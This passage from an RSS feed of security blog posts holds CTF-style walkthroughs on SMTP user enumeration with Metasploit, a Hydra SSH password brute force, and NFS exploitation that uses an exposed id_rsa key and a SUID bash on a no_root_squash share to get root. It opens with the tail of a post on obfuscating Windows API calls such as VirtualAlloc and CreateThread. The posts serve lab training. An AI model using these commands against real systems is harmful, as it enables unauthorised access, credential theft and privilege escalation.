src="https://cdn-images-1.medium.com/max/857/1*t235QVq0TzUtBR55vkOUTg.png" /></figure><p>It is gone. This can be used to obfuscate any other functions such as VirtualAlloc, RtlMoveMemory and CreateThread etc.</p><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*8UCk_z3HZYeK4uRa9RZ8Ww.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51f6bb171767" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enumerating and Exploiting SMTP]]></title>
            <link>https://jamespatricksec.medium.com/enumerating-and-exploiting-smtp-26cf7684f8f1?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/26cf7684f8f1</guid>
            <category><![CDATA[smtp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Thu, 20 May 2021 07:48:09 GMT</pubDate>
            <atom:updated>2024-08-20T00:58:22.236Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*4bn-nYhPQCrpwgTsMRlS5w.png" /></figure><p>For a description of what SMTP is see the following:</p><p><a href="https://sendgrid.com/blog/what-is-an-smtp-server/">What Is an SMTP Server? | Twilio SendGrid</a></p><p><strong>A quick run through of an email messages journey:</strong></p><p>1. The mail user agent, which is either your email client or an external program. connects to the SMTP server of your domain, e.g. smtp.google.com. This initiates the SMTP handshake. This connection works over the SMTP port- which is usually 25. Once these connections have been made and validated, the SMTP session starts.</p><p>2. The process of sending mail can now begin. The client first submits the sender, and recipient’s email address- the body of the email and any attachments, to the server.</p><p>3. The SMTP server then checks whether the domain name of the recipient and the sender is the same.</p><p>4. The SMTP server of the sender will make a connection to the recipient’s SMTP server before relaying the email. If the recipient’s server can’t be accessed, or is not available- the Email gets put into an SMTP queue.</p><p>5. Then, the recipient’s SMTP server will verify the incoming email. It does this by checking if the domain and user name have been recognised. The server will then forward the email to the POP or IMAP server, as shown in the diagram above.</p><p>6. The E-Mail will then show up in the recipient’s inbox.</p><p><strong>Enumerating SMTP</strong></p><p>Poorly configured or vulnerable mail server can allow initial access into the network , but before the attack we need to gather as much info about the mail server. For this we will use a metas-loot module called “smtp_version” to scan an IP range land get as much info about any mail servers it find.</p><p><strong>Enumerating Users from SMTP</strong></p><p>The SMTP service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of user’s aliases and lists of e-mail (mailing lists). Using these SMTP commands, we can reveal a list of valid users</p><p>We can do this manually, over a telnet connection- however Metasploit comes to the rescue again, providing a handy module appropriately called “smtp_enum” that will do the legwork for us! Using the module is a simple matter of feeding it a host or range of hosts to scan and a wordlist containing usernames to enumerate.</p><p>Lets run a quick scan to see if we can find port 25 open on this box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*uDYePkO0ii_pSqRqbX2UeQ.jpeg" /></figure><p>We see SMTP running on the default port 25. Now we can use a metasploit tool called <strong>smtp_version</strong> to gather any information on the target mail server. We will start metasploit using the <strong>msfconsole</strong> command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*W_HDtoqk78dE-JxGj8zr5w.jpeg" /></figure><p>We will search for the module using <strong>search smtp_version</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*O9GMjhyEbJXAsvcsRHQdCw.jpeg" /></figure><p>We will select this module and show <strong>options</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*l2jWhTHcaNw1prnK19-jNg.jpeg" /></figure><p>We will set our RHOSTS to our target machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*aVIIX9oxPtQZuJOGEdjHOg.jpeg" /></figure><p>Now we will run the exploit:</p><p>We discover the remote hostname is <strong>polosmtp.home</strong> and is running the <strong>Postfix</strong> MTA agent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*uwl6v4ybdERiNnvf-4sYFA.jpeg" /></figure><p>Now that we have some info lets search for and run the <strong>smtp_enum</strong> module:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*aSb8Rn5zjXz7x9u1zj148g.jpeg" /></figure><p>We’re going to be using the “top-usernames-shortlist.txt” word list from the Usernames subsection of seclists (/usr/share/wordlists/SecLists/Usernames if you have it installed). Seclists is an amazing collection of wordlists. If you’re running Kali or Parrot you can install seclists with: “<strong>sudo apt install seclists</strong>”</p><p>After showing options we will need to set the location of the list we need to use (USER_FILE) as well as the RHOST:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXpHs7USL4YsSWPnzY0_tw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*Thu7jbb192ULa6P7heP81Q.jpeg" /></figure><p>After running this exploit we find there is an administrator account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*fwGJgVi02dqRkdOFLKPKZg.jpeg" /></figure><p><strong>Exploiting SMTP</strong></p><p>So far, we have determined the following:</p><p>1. A user account name</p><p>2. The type of SMTP server and Operating System running.</p><p>We know from our port scan, that the only other open port on this machine is an SSH login. We’re going to use this information to try and bruteforce the password of the SSH login for our user using Hydra.</p><p>Hydra</p><p>There is a wide array of customizability when it comes to using Hydra, and it allows for adaptive password attacks against of many different services, including SSH. Hydra comes by default on both Parrot and Kali, however if you need it, you can find the GitHub here.</p><p>Hydra uses dictionary attacks primarily, both Kali Linux and Parrot OS have many different wordlists in the “/usr/share/wordlists” directory- if you’d like to browse and find a different wordlists to the widely used “rockyou.txt”. Likewise I recommend checking out SecLists for a wider array of other wordlists that are extremely useful for all sorts of purposes, other than just password cracking. E.g. subdomain enumeration</p><p>The syntax for the command we’re going to use to find the passwords is this:<br><strong>“hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV 10.10.12.7 ssh”</strong></p><p>Here is a quick breakdown for this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tkVLrV4Dfq0N4s6UyaTXPw.jpeg" /></figure><p>This will take some time to enumerate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*sXVjR2DNDKLg1aDadOQ6ww.jpeg" /></figure><p>We see we found the admin password “alejandro”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*YRrq0Dd8jrdkyHP69CKOLA.jpeg" /></figure><p>From here we will SSH into the server (the other port we noticed open) and get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*tg5A5vUbb8gIETlg6eCNzg.jpeg" /></figure><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26cf7684f8f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enumerating and Exploiting NFS]]></title>
            <link>https://jamespatricksec.medium.com/enumerating-and-exploiting-nfs-1571cb484e16?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/1571cb484e16</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Thu, 13 May 2021 09:00:20 GMT</pubDate>
            <atom:updated>2024-08-20T00:58:52.541Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*VzsGwVbpU5ZxgBzUZRUMfA.png" /></figure><p><strong>NFS-Common</strong></p><p>It is important to have this package installed on any machine that uses NFS, either as client or server. It includes programs such as: lockd, statd, showmount, nfsstat, gssd, idmapd and mount.nfs. Primarily, we are concerned with “showmount” and “mount.nfs” as these are going to be most useful to us when it comes to extracting information from the NFS share. If you’d like more information about this package, feel free to read: <a href="https://packages.ubuntu.com/xenial/nfs-common">https://packages.ubuntu.com/xenial/nfs-common</a>. You can install nfs-common using “sudo apt install nfs-common”, it is part of the default repositories for most Linux distributions such as Kali.</p><p>The first step of enumeration is to conduct a port scan, to find out as much information as you can about the services, open ports and operating system of the target machine. You can go as in-depth as you like on this, however, I suggest using nmap with the -A and -p- tags.</p><p>Mounting NFS shares</p><p>Your client’s system needs a directory where all the content shared by the host server in the export folder can be accessed. You can create<br>this folder anywhere on your system. Once you’ve created this mount point, you can use the “mount” command to connect the NFS share to the mount point on your machine like so:</p><pre>sudo mount -t nfs IP:share /tmp/mount/ -nolock</pre><p>Let’s break this down:</p><p><strong>sudo</strong> = Run as root<br><strong>mount</strong> = Execute the mount command<br><strong>-t nfs</strong> = type of device to mount, then specifying that it’s NFS<br><strong>IP:share =</strong> The IP Address of the NFS server, and the name of the share we wish to mount<br><strong>-noloc</strong>k = Specifies not to use NLM locking</p><p>Performing a port scan of the target we see the NFS service we are looking for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPkji-d4eerRwSl4sFS70A.jpeg" /></figure><p>Now use the below command to list the NFS shares:</p><pre>/usr/sbin/showmount -e [IP]</pre><p>We get a list of NFS shares on this box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kfNysiVdleVaxPSE9twbmg.jpeg" /></figure><p>Now we will create a local directory to mount the share to:</p><pre>mkdir /tmp/mount</pre><p>Then, use the mount command we broke down earlier to mount the NFS share to your local machine:</p><pre>sudo mount -t nfs IP:share /tmp/mount/ -nolock</pre><p>When we change to the mount directory and list the contents we see the below folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3XVIVTrcMpstx6uMPJ1v3g.jpeg" /></figure><p>When browsing that folder we see a <strong>.ssh </strong>folder which could be used to get us remote access to the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*9JRGxwqbDxoGXg4XEt1Djg.jpeg" /></figure><p>Browsing the .ssh directory we see a file named <strong>ID_RSA</strong> which will be very useful to us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*4tCpy4tZjvDcxt2Fh7nV7Q.jpeg" /></figure><p>We will copy this file locally and change the permissions:</p><pre>chmod 600 id_rsa</pre><p>We will then us this file to attempt to ssh into the box:</p><pre>ssh -i id_rsa cappacino@&lt;ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*DIr3Cbwq_jfGcjPLH0NPsA.jpeg" /></figure><p>If you have a low privilege shell on any machine and you found that a machine has an NFS share you might be able to use that to escalate privileges, depending on how it is configured.</p><p><strong>root_squash</strong></p><p>By default, on NFS shares- Root Squashing is enabled, and prevents anyone connecting to the NFS share from having root access to the NFS volume. Remote root users are assigned a user “nfsnobody” when connected, which has the least local privileges. Not what we want. However, if this is turned off, it can allow the creation of SUID bit files, allowing a remote user root access to the connected system.</p><p>So, what are files with the SUID bit set? Essentially, this means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!</p><p>This sounds complicated, but really- provided you’re familiar with how SUID files work, it’s fairly easy to understand. We’re able to upload files to the NFS share, and control the permissions of these files. We can set the permissions of whatever we upload, in this case a bash shell executable. We can then log in through SSH, as we did in the previous task- and execute this executable to gain a root shell!</p><p>Due to compatibility reasons, we’ll use a standard Ubuntu Server 18.04 bash executable, the same as the server’s- as we know from our nmap scan. You can download it <a href="https://github.com/TheRealPoloMints/Blog/blob/master/Security%20Challenge%20Walkthroughs/Networks%202/bash"><strong>here</strong></a><strong>.</strong></p><p>If this is still hard to follow, here’s a step by step of the actions we’re taking, and how they all tie together to allow us to gain a root shell:</p><p>NFS Access -&gt;</p><p>Gain Low Privilege Shell -&gt;</p><p>Upload Bash Executable to the NFS share -&gt;</p><p>Set SUID Permissions Through NFS Due To Misconfigured Root Squash -&gt;</p><p>Login through SSH -&gt;</p><p>Execute SUID Bit Bash Executable -&gt;</p><p>ROOT ACCESS!</p><p>First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user’s home directory.</p><p>Download the bash executable to your Downloads directory. Then use “cp ~/Downloads/bash” to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using “sudo chown root bash”</p><p>Now, we’re going to add the SUID bit permission to the bash executable we just copied to the share using:</p><pre>sudo chmod +s bash</pre><p>Download the bash executable to your Downloads directory. Then use “cp ~/Downloads/bash .” to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using “sudo chown root bash”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*wGUDXOYGs9pNu2SBB0R9KA.jpeg" /></figure><p>Now, ssh into the machine as the user. List the directory to make sure the bash executable is there. Now, the moment of truth. Lets run it with “./bash -p”. The -p persists the permissions, so that it can run as root with SUID- as otherwise bash will sometimes drop the permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*duTZMWczkvFcEl-fy77MYw.jpeg" /></figure><p>Verify we have root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*-3ScFeKum-3S4J8eS3hOHA.jpeg" /></figure><p>Get the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*rSgFQ1APi6Ant40zO4US3Q.jpeg" /></figure><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1571cb484e16" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>